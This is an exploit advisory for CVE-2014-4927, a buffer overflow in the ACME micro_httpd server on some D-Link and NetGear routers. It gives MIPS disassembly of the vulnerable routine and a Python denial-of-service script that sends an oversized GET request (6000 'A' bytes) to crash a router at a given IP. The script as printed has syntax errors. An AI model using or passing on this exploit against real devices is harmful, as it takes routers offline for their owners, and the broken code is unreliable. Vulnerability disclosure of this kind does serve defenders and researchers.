ACME micro_httpd - Denial of Service

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"""

# Exploit Title: Buffer Overflow in micro_httpd by ACME

# Date: 4/7/2014

# Exploit Author: Yuval tisf Nativ

# Vendor Homepage: http://www.acme.com/software/micro_httpd/

# Software Link: http://www.acme.com/software/micro_httpd/

# Version: June 2012

# CVE: CVE-2014-4927

# Tested on: D-Link: (DSL2750U, DSL2740U), NetGear: (WGR614, MR-ADSL-DG834)

 

Buffer Overflow in micro_httpd

 

Argument for GET method is vulnerable to a buffer overflow.

Analyzed on:

    D-Link: DSL2750U, DSL2740U,

    NetGear: WGR614, MR-ADSL-DG834

 

ACME Labs offer no version tracking on server versions so version might not

be accurate.

 

Disassmebly in MIPS of vulnerable flow:

sub_4067CC:

 

LOAD:004067CC

LOAD:004067CC       lui     $gp, 0x47

LOAD:004067D0       addiu   $sp, -0xA0

LOAD:004067D4       li      $gp, 0x46B850

LOAD:004067D8       sw      $ra, 0xA0+var_4($sp)

LOAD:004067DC       sw      $s3, 0xA0+var_8($sp)

LOAD:004067E0       sw      $s2, 0xA0+var_C($sp)

LOAD:004067E4       sw      $s1, 0xA0+var_10($sp)

LOAD:004067E8       sw      $s0, 0xA0+var_14($sp)

LOAD:004067EC       sw      $gp, 0xA0+var_88($sp)

LOAD:004067F0       lui     $s0, 0x46

LOAD:004067F4       lw      $v1, dword_464108

LOAD:004067F8       lw      $t9, (off_463B24 - 0x46B850)($gp)

LOAD:004067FC       move    $v0, $a0

LOAD:00406800       sw      $a1, 0xA0+var_90($sp)

LOAD:00406804       move    $s2, $a2

LOAD:00406808       lui     $a1, 0x44

LOAD:0040680C       lui     $a2, 0x44

LOAD:00406810       move    $a0, $v1

LOAD:00406814       la      $a1, aSDS        # "%s %d %s\r\n"

LOAD:00406818       la      $a2, aHttp1_1    # "HTTP/1.1"

LOAD:0040681C       move    $s1, $a3

LOAD:00406820       jalr    $t9

LOAD:00406824       move    $a3, $v0

LOAD:00406828       lw      $gp, 0xA0+var_88($sp)

LOAD:0040682C       lw      $a0, dword_464108

LOAD:00406830       lw      $t9, (off_463B24 - 0x46B850)($gp)

LOAD:00406834       lui     $a2, 0x44

LOAD:00406838       lui     $a1, 0x44

LOAD:0040683C       la      $a2, aMicro_httpd  # "micro_httpd"

LOAD:00406840       jalr    $t9

LOAD:00406844       la      $a1, aServerS    # "Server: %s\r\n"

LOAD:00406848       lw      $gp, 0xA0+var_88($sp)

LOAD:0040684C       lw      $a1, 0x4108($s0)

LOAD:00406850       lw      $t9, (off_463BCC - 0x46B850)($gp)

LOAD:00406854       lui     $a0, 0x44

LOAD:00406858       jalr    $t9

LOAD:0040685C       la      $a0, aCacheControlNo  # "Cache-Control:

no-cache\r\n"

LOAD:00406860       lw      $gp, 0xA0+var_88($sp)

LOAD:00406864       move    $a0, $0

LOAD:00406868       lw      $t9, (off_463CDC - 0x46B850)($gp)

LOAD:0040686C       jalr    $t9

LOAD:00406870       addiu   $s3, $sp, 0xA0+var_7C

LOAD:00406874       lw      $gp, 0xA0+var_88($sp)

LOAD:00406878       addiu   $a0, $sp, 0xA0+var_80

LOAD:0040687C       lw      $t9, (off_463DF4 - 0x46B850)($gp)

LOAD:00406880       jalr    $t9

LOAD:00406884       sw      $v0, 0xA0+var_80($sp)

LOAD:00406888       lw      $gp, 0xA0+var_88($sp)

LOAD:0040688C       lui     $a2, 0x44

 

 

 

Working Exploit for a Denial of Service:

"""

 

#!/bin/python

import socket

import struct

 

# This will crash the router.

# In some devices it takes about 10 minutes until functionality is

restored.

 

buffer = "\x41" * 6000            # Original fuzzing buffer.

host = "10.0.0.138"

 

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, 80))

 

payload = GET /" + buffer + " HTTP/1.1\r\n"

payload += ("Host: %s \r\n\r\n", % host)

 

s.send(payload)

s.close()